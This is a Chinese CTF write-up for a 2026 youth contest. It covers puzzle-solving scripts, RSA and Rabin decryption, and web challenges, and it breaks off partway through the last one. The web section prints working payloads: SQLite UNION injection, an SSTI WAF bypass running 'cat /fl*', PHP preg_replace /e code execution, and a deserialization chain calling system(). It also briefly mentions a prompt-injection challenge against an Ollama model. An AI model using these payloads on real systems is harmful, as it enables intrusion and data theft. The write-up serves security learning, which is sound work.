[实战记录]青少年 CTF S1 · 2026 公益赛丨赛题 WP

队伍名:逍遥

编程题

两数之和

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
import socket
import re

def two_sum(nums, target):
"""返回 (索引1, 索引2, 数字1, 数字2)"""
seen = {}
for i, num in enumerate(nums):
complement = target - num
if complement in seen:
j = seen[complement]
return (j, i, complement, num)
seen[num] = i
return None

host = "challenge.qsnctf.com"
port = 45435

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))

print("[*] 已连接")

buffer = ""
nums = None
target = None

while True:
data = sock.recv(4096).decode()
if not data:
break

buffer += data

while '\n' in buffer:
line, buffer = buffer.split('\n', 1)
line = line.strip()
if not line:
continue

print(f"[LINE] {line}")

# 检查 flag
if 'qsnctf' in line:
print(f"\n✅ Flag: {line}")
sock.close()
exit()

# 解析 List
if line.startswith('List ='):
# 提取 [12, 31, 24, ...]
match = re.search(r'\[([^\]]+)\]', line)
if match:
nums_str = match.group(1)
nums = [int(x.strip()) for x in nums_str.split(',')]
print(f"[*] 解析数组: {nums}")

# 解析 Target
if line.startswith('Target ='):
target = int(line.split('=')[1].strip())
print(f"[*] 目标值: {target}")

# 如果都有了,计算并发送答案
if nums is not None and target is not None:
result = two_sum(nums, target)
if result:
ans = str(result)
print(f"[->] 答案: {ans}")
sock.send((ans + "\n").encode())
# 重置,等待下一轮
nums = None
target = None
else:
print("[!] 未找到答案")
# 可能输入格式有问题,跳过

sock.close()

回文数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
import socket
import re
import time

# -------------------------- 1. 回文数判断(极致严谨) --------------------------
def is_palindrome(x: int) -> bool:
"""逐位验证,避免任何字符串/数学误差"""
if x < 0:
return False
if x == 0:
return True
# 转字符串后逐位对比(最直观,易调试)
s = str(x)
left, right = 0, len(s)-1
while left < right:
if s[left] != s[right]:
return False
left += 1
right -= 1
return True

# -------------------------- 2. 暴力提取x(适配所有服务器输出格式) --------------------------
def parse_x(data: str) -> int | None:
"""提取所有数字,排除干扰字符,只取最后一个整数(适配多轮残留)"""
# 匹配所有整数(包括负数、多位数)
nums = re.findall(r'-?\d+', data)
if nums:
# 取最后一个匹配的数(避免多轮数据残留)
return int(nums[-1])
return None

# -------------------------- 3. 强制适配交互逻辑(解决99%的错误) --------------------------
def palindrome_challenge_client(host='challenge.qsnctf.com', port=32952):
success_count = 0
# 强制设置编码/换行,避免格式错误
NEWLINE = "\n".encode('utf-8')

try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
# 强制配置:关闭延迟、设置超时、强制缓存清空
s.settimeout(20)
s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
s.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 1024)
s.connect((host, port))
print(f"==== 已连接 {host}:{port} ====\n")

for round_num in range(1, 102):
print(f"==== 第 {round_num} 轮 ====")
recv_data = b""
answer_sent = False

# 1. 暴力读取所有数据(直到收到输入提示符/超时)
start = time.time()
while time.time() - start < 3:
try:
# 一次性读取所有可用数据(避免分段)
chunk = s.recv(4096)
if not chunk:
break
recv_data += chunk
# 转字符串,方便解析(忽略乱码)
recv_str = recv_data.decode('utf-8', errors='ignore')
print(f"📥 服务端原始输出:{recv_str.strip()}")

# 2. 提取x并强制判断
x = parse_x(recv_str)
if x is not None and not answer_sent:
print(f"✅ 提取到x = {x}")
# 强制判断+打印过程
result = is_palindrome(x)
print(f"🔍 逐位验证结果:{result}")

# 3. 强制按要求输出(严格大写True/False,加换行)
output = "True" if result else "False"
print(f"📤 发送内容:{output} + 换行")
# 强制发送+清空缓存
s.sendall(output.encode('utf-8') + NEWLINE)
s.settimeout(1) # 短超时等反馈

# 4. 读取反馈并打印(定位错误)
try:
feedback = s.recv(1024).decode('utf-8', errors='ignore')
print(f"💡 服务端反馈:{feedback.strip()}")
if "Correct" in feedback or "Right" in feedback:
success_count += 1
else:
print(f"❌ 本轮错误!x={x},判断={result},发送={output}")
except:
print(f"⚠️ 未收到反馈(可能服务器无返回)")

answer_sent = True
break

except BlockingIOError:
time.sleep(0.001) # 1ms轮询,极致快
except Exception as e:
print(f"❌ 读取错误:{e}")
break

if not answer_sent:
print(f"❌ 本轮失败:未提取到x / 未发送答案")
print("-"*50 + "\n")

# 最终统计
print(f"\n==== 100轮结束 ====")
print(f"✅ 成功:{success_count} | ❌ 失败:{100-success_count}")

except Exception as e:
print(f"❌ 连接崩溃:{e}")
print(f"💡 排查方向:1.端口是否32952 2.服务器是否可访问 3.网络是否有拦截")

if __name__ == "__main__":
palindrome_challenge_client()

罗马数字转整数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
import socket
import re

def roman_to_int(s):
roman_map = {'I': 1, 'V': 5, 'X': 10, 'L': 50, 'C': 100, 'D': 500, 'M': 1000}
total = 0
prev = 0
for ch in reversed(s.upper()):
curr = roman_map[ch]
if curr < prev:
total -= curr
else:
total += curr
prev = curr
return total

# 连接服务器
host = "challenge.qsnctf.com"
port = 45398

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))

print("[*] 已连接,开始接收数据...")

while True:
# 接收一行数据
data = b""
while b'\n' not in data:
chunk = sock.recv(1)
if not chunk:
break
data += chunk

if not data:
break

line = data.decode().strip()
print(line)

# 检查 flag 相关关键字
if 'flag' in line.lower():
# 可能这一行就是 flag,也可能是提示,继续接收下一行
continue

# 如果包含 qsnctf,直接打印并退出
if 'qsnctf' in line:
print(f"\n✅ Flag: {line}")
break

# 判断这一行是否完全是罗马数字
if re.match(r'^[IVXLCDM]+$', line.upper()):
ans = roman_to_int(line)
print(f"[->] 发送答案: {ans}")
sock.send(f"{ans}\n".encode())

# 再尝试接收一次,确保拿到 flag 行
sock.settimeout(1)
try:
remaining = sock.recv(1024).decode()
if remaining:
print(remaining)
# 提取 flag
for line in remaining.split('\n'):
if 'qsnctf' in line:
print(f"\n✅ Flag: {line}")
break
except:
pass

sock.close()
print("[*] 连接关闭")

上下火车

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
import socket
import re
import time

# -------------------------- 1. 修复参数解析(适配服务器原始输出格式) --------------------------
def parse_params(data):
"""精准匹配服务器输出,容错性拉满"""
params = {'n': None, 'a': None, 'm': None, 'x': None}

# 匹配规则:忽略大小写、多余空格,适配服务器原始输出
# 示例匹配:Stations (n): 15 | Initial (a): 20 | Total at n-1 (m): 9628 | Target station (x): 3
patterns = {
'n': r'Stations\s*\(n\)\s*:\s*(\d+)',
'a': r'Initial\s*\(a\)\s*:\s*(\d+)',
'm': r'Total at n-1\s*\(m\)\s*:\s*(\d+)',
'x': r'Target station\s*\(x\)\s*:\s*(\d+)'
}

for key, pattern in patterns.items():
match = re.search(pattern, data, re.IGNORECASE)
if match:
params[key] = int(match.group(1))

# 强制校验:确保所有参数都解析到
if None in params.values():
print(f"⚠️ 参数解析不完整:{params} | 原始数据:{data[:200]}")
return params

# -------------------------- 2. 修复计算逻辑(无变量未定义+逐站递推100%准确) --------------------------
def calculate_people(a, n, m, x):
"""逐站递推计算,无任何变量漏洞"""
# 特殊情况:x=1/x=2直接返回a(规则固定)
if x == 1 or x == 2:
return a

# 步骤1:递推到n-1站,反推u(核心:先算表达式,再解u)
max_k = n - 1 # 终点站前一站(总数=m)

# 初始化递推系数(total[k] = A_k + B_k * u)
A_k = [0] * (max_k + 1) # a的系数
B_k = [0] * (max_k + 1) # u的系数
A_k[1] = a
B_k[1] = 0
A_k[2] = a
B_k[2] = 0

# 初始化up的系数(up[k] = up_A + up_B * u)
up_A = [0] * (max_k + 1)
up_B = [0] * (max_k + 1)
up_A[1] = a
up_B[1] = 0
up_A[2] = 0 # up[2]=u → 系数是0*a +1*u
up_B[2] = 1

# 逐站递推A_k/B_k(直到n-1站)
for k in range(3, max_k + 1):
# up[k] = up[k-1] + up[k-2] → 系数相加
up_A[k] = up_A[k-1] + up_A[k-2]
up_B[k] = up_B[k-1] + up_B[k-2]

# down[k] = up[k-1] → 系数等于up[k-1]
down_A = up_A[k-1]
down_B = up_B[k-1]

# total[k] = total[k-1] + up[k] - down[k]
A_k[k] = A_k[k-1] + up_A[k] - down_A
B_k[k] = B_k[k-1] + up_B[k] - down_B

# 反推u:total[max_k] = A_k[max_k] + B_k[max_k] * u = m
if B_k[max_k] == 0:
u = 0
else:
u = (m - A_k[max_k]) // B_k[max_k]

# 步骤2:用u计算目标x站的实际人数(重新逐站算,避免系数误差)
total = [0] * (x + 1)
up = [0] * (x + 1)
down = [0] * (x + 1)

# 初始化实际值
total[1] = a
up[1] = a
down[1] = 0
total[2] = a
up[2] = u
down[2] = u

# 递推到x站
for k in range(3, x + 1):
up[k] = up[k-1] + up[k-2]
down[k] = up[k-1]
total[k] = total[k-1] + up[k] - down[k]

return total[x]

# -------------------------- 3. 修复NC交互逻辑(稳定长连接+极速响应) --------------------------
def train_challenge_client(host='127.0.0.1', port=9999):
success_count = 0
# 全局缓冲区:避免数据分段导致解析失败
global_buffer = ""

try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(15) # 延长超时,适配服务器响应
s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) # 关闭Nagle,实时传输
s.connect((host, port))
print("==== 连接成功,开始处理100轮 ====\n")

for round_num in range(1, 101):
print(f"==== 第 {round_num} 轮 ====")
global_buffer = ""
answer_sent = False

# 1. 极速读取数据(直到收到输入提示符)
start_time = time.time()
while time.time() - start_time < 2: # 每轮最多等2秒(适配1.5s限制)
try:
# 非阻塞读取,确保不卡顿
s.setblocking(False)
chunk = s.recv(8192).decode('utf-8', errors='ignore') # 超大缓冲区,避免分段
s.setblocking(True)

if chunk:
global_buffer += chunk
print(f"📥 接收数据:{chunk.strip()}")

# 触发条件:看到输入提示符(Your answer for station)
if "Your answer for station" in global_buffer and not answer_sent:
# 2. 解析参数
params = parse_params(global_buffer)
if None in params.values():
print("❌ 参数解析失败,跳过本轮\n")
break

n, a, m, x = params['n'], params['a'], params['m'], params['x']
print(f"✅ 解析参数:n={n}, a={a}, m={m}, x={x}")

# 3. 计算答案
answer = calculate_people(a, n, m, x)
print(f"📊 计算答案:{answer}")

# 4. 发送答案(强制加换行,模拟回车)
s.sendall((str(answer) + "\n").encode('utf-8'))
answer_sent = True
time.sleep(0.05) # 极短延迟,避免服务器未就绪

# 5. 接收反馈
try:
feedback = s.recv(2048).decode('utf-8', errors='ignore').strip()
print(f"📤 服务端反馈:{feedback}")
if "Correct" in feedback or "Right" in feedback or "correct" in feedback:
success_count += 1
except:
print("📤 服务端无反馈")
break
except BlockingIOError:
# 无数据时跳过,继续轮询
time.sleep(0.005) # 5ms轮询,极致快
except Exception as e:
print(f"❌ 读取数据异常:{e}")
break

if not answer_sent:
print("❌ 本轮未发送答案,跳过\n")
else:
print(f"✅ 第 {round_num} 轮完成\n")

except Exception as e:
print(f"❌ 连接异常:{e}")

# 最终统计
print("==== 100轮任务完成 ====")
print(f"✅ 成功轮次:{success_count} | ❌ 失败轮次:{100 - success_count}")

# -------------------------- 运行脚本 --------------------------
if __name__ == "__main__":
# 替换为服务器实际IP和端口
NC_HOST = "challenge.qsnctf.com"
NC_PORT = 32950
train_challenge_client(host=NC_HOST, port=NC_PORT)

Misc

QSNCTF

关注中学生 CTF 回复 qsnctf 即可

Ollama Prompt Injection

提示词注入,按顺序使用提示词

得到 flag

灵异事件?

脚本梭

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# 定义待转换的二进制字符串
binary_str = "0110011001101100011000010110011101111011001101000110010000110010001101000011011101100001011000110011001100110001001101100110001000110001011000110110011000110111011001010110011000110101001100110110000100110001001101010011100101100011001100110011000000110001001101100110001001100001011000100011100101111101"

# 初始化结果字符串
flag = ""

# 每8位分割一次,转换为ASCII字符
for i in range(0, len(binary_str), 8):
# 截取8位二进制片段
byte = binary_str[i:i+8]
# 二进制转十进制
decimal = int(byte, 2)
# 十进制转ASCII字符
char = chr(decimal)
# 拼接结果
flag += char

# 输出最终flag
print("转换后的flag:", flag)

玫坏的压缩包

先将拓展名改为 zip,解压后再改为 doc,使用 WPS 的文件修复解出

Crypto

Four Ways to the Truth

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
import math

# 给定参数
p = 7843924760949873188201496026705455073125667712660002135887161079633254312879905501204855425456884502003894146991780856880279808965014803584494444568674087
q = 1140962409915024811090299765305244489074219812060197521898407764373654976342197131381234656216901694745972908393258042324146363330463003052469652666554471
e = 2
c = 170041716912112266353311555796224814539989621875376673120238246557647197956716037204849248165596484091026430610474184173388604052966204512334147210403868840531083264816571442641437961

n = p * q

print("Rabin 密码系统解密 (e=2)")
print("=" * 60)
print(f"p = {p}")
print(f"q = {q}")
print(f"n = p * q = {n}")
print(f"c = {c}")
print("=" * 60)

def rabin_decrypt(c, p, q):
"""
Rabin 解密算法
解方程: m^2 ≡ c (mod n)
其中 n = p * q
"""
# 步骤1: 计算 c mod p 和 c mod q 的平方根
# 解 m_p^2 ≡ c (mod p)
# 解 m_q^2 ≡ c (mod q)

# 使用 Tonelli-Shanks 算法求模平方根
def tonelli_shanks(n, p):
"""求 x^2 ≡ n (mod p) 的解"""
# 简单情况:p % 4 == 3
if p % 4 == 3:
return pow(n, (p + 1) // 4, p)

# 一般情况
# 1. 因式分解 p-1 = Q * 2^S
Q = p - 1
S = 0
while Q % 2 == 0:
Q //= 2
S += 1

# 2. 找一个二次非剩余 z
z = 2
while pow(z, (p - 1) // 2, p) != p - 1:
z += 1

# 3. 初始化
M = S
c = pow(z, Q, p)
t = pow(n, Q, p)
R = pow(n, (Q + 1) // 2, p)

# 4. 循环
while t != 1:
# 找到最小的 i 使得 t^(2^i) ≡ 1
i = 1
while pow(t, 2**i, p) != 1:
i += 1

# 更新
b = pow(c, 2**(M - i - 1), p)
M = i
c = (b * b) % p
t = (t * c) % p
R = (R * b) % p

return R

# 计算模 p 和模 q 的平方根
mp1 = tonelli_shanks(c % p, p)
mp2 = p - mp1 # 另一个解

mq1 = tonelli_shanks(c % q, q)
mq2 = q - mq1 # 另一个解

print(f"\n模 p 的平方根: {mp1}, {mp2}")
print(f"模 q 的平方根: {mq1}, {mq2}")

# 步骤2: 使用中国剩余定理组合解
# 有4种组合
solutions = []

# 组合1: mp1 和 mq1
# 解同余方程组:
# m ≡ mp1 (mod p)
# m ≡ mq1 (mod q)

def crt(a1, m1, a2, m2):
"""中国剩余定理求解同余方程组"""
# 解 x ≡ a1 (mod m1), x ≡ a2 (mod m2)
# 使用扩展欧几里得算法
def egcd(a, b):
if b == 0:
return (a, 1, 0)
else:
g, x, y = egcd(b, a % b)
return (g, y, x - (a // b) * y)

g, x, y = egcd(m1, m2)
if g != 1:
return None

# 计算解
M = m1 * m2
result = (a1 * m2 * y + a2 * m1 * x) % M
return result

# 计算4个可能的解
comb1 = crt(mp1, p, mq1, q)
comb2 = crt(mp1, p, mq2, q)
comb3 = crt(mp2, p, mq1, q)
comb4 = crt(mp2, p, mq2, q)

solutions = [comb1, comb2, comb3, comb4]
solutions = [s for s in solutions if s is not None]

# 去除重复解
solutions = list(set(solutions))

return solutions

# 解密
print("\n正在解密 Rabin 密文...")
plaintexts = rabin_decrypt(c, p, q)

print(f"\n找到 {len(plaintexts)} 个可能的明文:")

valid_plaintexts = []
for i, m in enumerate(plaintexts):
print(f"\n解 {i+1}:")
print(f" 整数: {m}")

# 转换为字节
try:
byte_len = (m.bit_length() + 7) // 8
m_bytes = m.to_bytes(byte_len, 'big')
print(f" 字节: {m_bytes}")
print(f" 十六进制: {m_bytes.hex()}")

# 尝试解码为文本
try:
text = m_bytes.decode('utf-8')
print(f" UTF-8 文本: {text}")
if any(32 <= c <= 126 for c in m_bytes): # 检查是否包含可打印字符
valid_plaintexts.append((m, m_bytes, text))
except:
try:
text = m_bytes.decode('ascii', errors='ignore')
if text.strip():
print(f" ASCII 文本: {text}")
valid_plaintexts.append((m, m_bytes, text))
except:
print(" 无法解码为文本")
except:
print(" 无法转换为字节")

print("\n" + "=" * 60)
print("分析可读的明文:")

if valid_plaintexts:
for i, (m_int, m_bytes, m_text) in enumerate(valid_plaintexts):
print(f"\n候选明文 {i+1}:")
print(f" 文本: {m_text}")
print(f" 十六进制: {m_bytes.hex()}")

# 检查常见 flag 格式
if b'flag{' in m_bytes or b'FLAG{' in m_bytes:
print(" ★ 发现 flag 格式!")
elif b'ctf{' in m_bytes or b'CTF{' in m_bytes:
print(" ★ 发现 CTF flag 格式!")
else:
print("\n没有找到可读的文本格式明文")
print("尝试所有解的小整数表示...")

for i, m in enumerate(plaintexts):
print(f"\n解 {i+1}: {m}")
if m < 10000: # 小数字可能是直接的数字消息
print(f" 可能的消息: {m}")

print("\n" + "=" * 60)
print("Rabin 解密完成!")

0x42F

https://txtmoji.com/解码,密码 1071,是题目标题

Half a Key

脚本梭

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
import math
import time

# 给定参数
n = 4382400036133367223779
e = 23
dp = 587347841738855310438
c = 1359576020707779919680

print("开始 RSA dp 泄露攻击解密...")
print("=" * 60)
print(f"n (模数): {n}")
print(f"e (公钥指数): {e}")
print(f"dp (d mod (p-1)): {dp}")
print(f"c (密文): {c}")
print("=" * 60)

start_time = time.time()

# 计算 e*dp - 1
edp_minus_1 = e * dp - 1
print(f"\n计算 e*dp - 1 = {edp_minus_1}")

# 寻找 p
print("\n搜索素数 p...")
found = False

# 由于 k = (e*dp - 1) / (p-1),且 k 在 [1, e-1] 范围内
# 我们可以直接计算 p
for k in range(1, e):
if k % 10000 == 0:
print(f"进度: k = {k}/{e} ({k/e*100:.2f}%)")

if edp_minus_1 % k == 0:
p_candidate = edp_minus_1 // k + 1

# 检查 p_candidate 是否是 n 的因子
if n % p_candidate == 0:
p = p_candidate
q = n // p
print(f"\n找到 k = {k}")
print(f"找到 p = {p}")
print(f"找到 q = {q}")

# 验证
if p * q == n:
found = True
break

if not found:
print("未能找到 p,尝试更直接的方法...")

# 使用更直接的方法:由于 dp = d mod (p-1),我们有:
# e*dp ≡ 1 mod (p-1)
# 所以 p = gcd(n, g^(e*dp - 1) - 1) 对于某个 g

# 尝试小的 g 值
for g in range(2, 100):
# 计算 g^(e*dp - 1) mod n
x = pow(g, edp_minus_1, n) - 1
p = math.gcd(x, n)

if 1 < p < n:
q = n // p
if p * q == n:
print(f"使用 g={g} 找到 p = {p}")
found = True
break

if found:
print(f"\n成功分解 n!")
print(f"p 的位数: {p.bit_length()} bits")
print(f"q 的位数: {q.bit_length()} bits")

# 计算私钥参数
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)

print(f"\n计算 φ(n) = (p-1)*(q-1) = {phi}")
print(f"计算私钥 d = e^(-1) mod φ(n) = {d}")

# 解密
print("\n正在解密...")
m = pow(c, d, n)

end_time = time.time()
print(f"解密完成! 耗时: {end_time - start_time:.4f} 秒")
print("=" * 60)

print(f"\n解密后的消息 (整数):")
print(f"m = {m}")

# 转换为字节
print(f"\n转换为字节...")
# 计算字节长度
byte_len = (m.bit_length() + 7) // 8
print(f"消息位数: {m.bit_length()} bits")
print(f"字节长度: {byte_len} bytes")

# 转换为字节
m_bytes = m.to_bytes(byte_len, 'big')

print(f"\n原始字节: {m_bytes}")
print(f"十六进制: {m_bytes.hex()}")

# 尝试解码
print("\n尝试解码为文本:")

# 尝试 UTF-8
try:
utf8_decoded = m_bytes.decode('utf-8')
print(f"UTF-8: {utf8_decoded}")
except:
print("UTF-8 解码失败")

# 尝试 ASCII
try:
ascii_decoded = m_bytes.decode('ascii', errors='ignore')
if ascii_decoded.strip():
print(f"ASCII (忽略错误): {ascii_decoded}")
except:
print("ASCII 解码失败")

# 检查常见格式
hex_str = m_bytes.hex().lower()
if '666c6167' in hex_str: # 'flag'
print("\n注意: 检测到 'flag' (666c6167) 的十六进制表示")

# 检查 flag 格式
if b'flag{' in m_bytes or b'FLAG{' in m_bytes:
print("发现 flag 格式!")

print("\n" + "=" * 60)
print("解密完成!")

else:
print("\n失败: 无法分解 n")

NO ASCII

URL 解码

flag{青少年 CTF 欢迎你}

WEB

S1 签到

输入群里的 key,得到 flag 即可

silent-logger

ezSQLite 注入

1
-1' UNION SELECT 1,group_concat(tbl_name),3 FROM sqlite_master WHERE type='table'_--_

1
-1' UNION SELECT 1,sql,3 FROM sqlite_master WHERE name='flags'--

1
-1' UNION SELECT 1,value,3 FROM flags --

CallBack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

function executeCallback($callback)
{
$someArray = [0, 1, 2, 3];
return array_map($callback, $someArray);
}

if (isset($_GET['callback'])){
$evilCallback = $_GET['callback'];
$newArray = executeCallback($evilCallback);
}

?>

array_map($callback, $someArray),意为使第二个参数传入的数组中每一个元素都作为参数传入第一个参数对应的函数

传入 phpinfo

1
?callback=phpinfo

在环境变量中获得 flag

答案之书

简单 ssti 注入,过滤了 config 和双下划线还有 os,popen

这里用 fengjing 绕 WAF 是可以的,手注当然也行

1
{%print(url_for['_'+'_glo'+'bals_'+'_']['o'+'s']['po'+'pen']('cat /fl*').read())%}

preg_replace

1
2
3
4
5
<?php 
highlight_file(__FILE__);
$input = $_GET['data'];
echo preg_replace("/(.*)/e", "\\1", $input);
?>

preg_replace() 使用 /e 修饰符(已被 PHP 7.0 废弃,7.2 移除)时,替换后的字符串会被当作 PHP 代码执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
// preg_replace 函数有3个参数
// 参数1: 正则表达式模式
// 参数2: 替换的内容
// 参数3: 要处理的字符串

echo preg_replace("/(.*)/e", "\\1", $input);

// 详细解释:
// ============================================================
// 参数1: "/(.*)/e"
// - / : 正则表达式的开始和结束符
// - (.*) : 匹配任意字符(.)零次或多次(*)
// - () : 括号是捕获组,会把匹配到的内容存到 $1 或 \\1 中
// - e : 危险修饰符!让参数2当作 PHP 代码执行(PHP 5.x 版本)
// 意思:匹配 $input 中的所有内容,并把匹配到的内容存到捕获组1
//
// 参数2: "\\1"
// - \\1 : 引用第一个捕获组匹配到的内容
// - 因为有 /e 修饰符,这个 "\\1" 会被当作 PHP 代码执行
// 意思:执行匹配到的内容($input 本身)作为 PHP 代码
//
// 参数3: $input
// - 要处理的原始字符串
// 意思:对 $input 进行匹配和替换
//
// 整体效果:
// 假设 $input = "phpinfo()"
// 1. 正则匹配到 "phpinfo()"
// 2. 捕获组1 = "phpinfo()"
// 3. "\\1" 被替换成 "phpinfo()"
// 4. /e 修饰符执行 "phpinfo()" 代码
// 5. 结果:执行了 phpinfo() 函数
//
// 这就是命令执行漏洞!如果 $input 可控,可以执行任意代码
// 例如:?input=system('cat /flag')
// ============================================================
?>

这里没法直接传 system(‘cat /flag’),会因为这个特性的引号嵌套问题执行不了

1
2
3
4
5
6
7
// 当输入 system('cat /flag') 时
preg_replace("/(.*)/e", "\\1", "system('cat /flag')");

// 实际执行的是:
eval('system('cat /flag');');
// ↑ 这里单引号闭合了,变成了: eval("system("cat /flag")");
// 语法错误:cat /flag 成了裸字符串

传入双引号,又有 waf,双引号直接被替换

于是使用反引号,通过

easy_php

反序列化问题,存在权限修饰

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
// 屏蔽报错,增加一点黑盒难度
error_reporting(0);
// TIPS:FLAG在根目录下

class Monitor {
private $status;
private $reporter;

public function __construct() {
$this->status = "normal";
$this->reporter = new Logger();
}

public function __destruct() {
// 当对象销毁时,如果状态是 danger,则触发报警
if ($this->status === "danger") {
$this->reporter->alert();
}
}
}

class Logger {
public function alert() {
echo "System normal. No alert needed.\n";
}
}

class Screen {
public $content;
public $format;

public function alert() {
// 这里的调用看起来像是一个格式化输出
$func = $this->format;
return $func($this->content);
}
}

// 入口点
if (isset($_GET['code'])) {
$input = $_GET['code'];

// 简单的过滤,不允许直接输入 flag 关键字,但这不影响反序列化过程
if (preg_match('/flag/i', $input)) {
die("No flag here!");
}

unserialize($input);
} else {
highlight_file(__FILE__);
}
?>

链子很短,就两个类,得到 EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php

class Monitor {
public $status;
public $reporter;

public function __destruct() {
// 当对象销毁时,如果状态是 danger,则触发报警
if ($this->status === "danger") {
$this->reporter->alert();
}
}
}

class Logger {
public function alert() {
echo "System normal. No alert needed.\n";
}
}

class Screen {
public $content;
public $format;
}
$a=new Monitor();
$b=new Screen();
$a->status="danger";
$a->reporter=$b;
$b->content="cat /fl*";
$b->format="system";
$payload = serialize($a);
echo "最终payload: ";
echo $payload;
?>
1
O:7:"Monitor":2:{s:6:"status";s:6:"danger";s:8:"reporter";O:6:"Screen":2:{s:7:"content";s:8:"cat /fl*";s:6:"format";s:6:"system";}}

加上权限修饰

1
O:7:"Monitor":2:{s:15:"%00Monitor%00status";s:6:"danger";s:17:"%00Monitor%00reporter";O:6:"Screen":2:{s:7:"content";s:8:"cat /fl*";s:6:"format";s:6:"system";}}

即得 flag

时间胶囊留言板

随便输入内容和日期,抓包

发现路由

1
2
3
4
5
6
7
8
GET /get_content.php?id=3 HTTP/1.1
Host: challenge.qsnctf.com:45473
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.102 Safari/537.36
Accept: */*
Referer: http://challenge.qsnctf.com:45473/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

访问路由

1
/get_content.php?id=2

即得 flag

Serialization

反序列化 + 文件包含,死亡绕过,这题比较精彩

https://www.cnblogs.com/hithub/p/16849600.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php 
error_reporting(0);
highlight_file(__FILE__);
class AuditLog {
public $handler;

public function __construct() {
$this->handler = new SystemStatus();
}

public function __toString() {
return $this->handler->process();
}
}

class FileCache {
public $filePath;
public $content;
public function __construct($path = '', $data = '') {
$this->filePath = $path;
$this->content = $data;
}

public function process() {
$security_header = '<?php exit("Access Denied: Protected Cache"); ?>';

$final_data = $security_header . $this->content;
file_put_contents($this->filePath, $final_data);

return "Cache Saved.";
}
}

class SystemStatus {
public function process() {
if(file_exists('./system_config.php')) {
include('./system_config.php');
}
return "System logic normal.";
}
}


$payload = $_POST['data'];

if(isset($payload)){
echo unserialize($payload);
}
else{
echo "Invalid data stream.";
}
?>

重头戏是这个函数

1
2
3
4
5
6
7
8
public function process() { 
$security_header = '<?php exit("Access Denied: Protected Cache"); ?>';

$final_data = $security_header . $this->content;
file_put_contents($this->filePath, $final_data);

return "Cache Saved.";
}

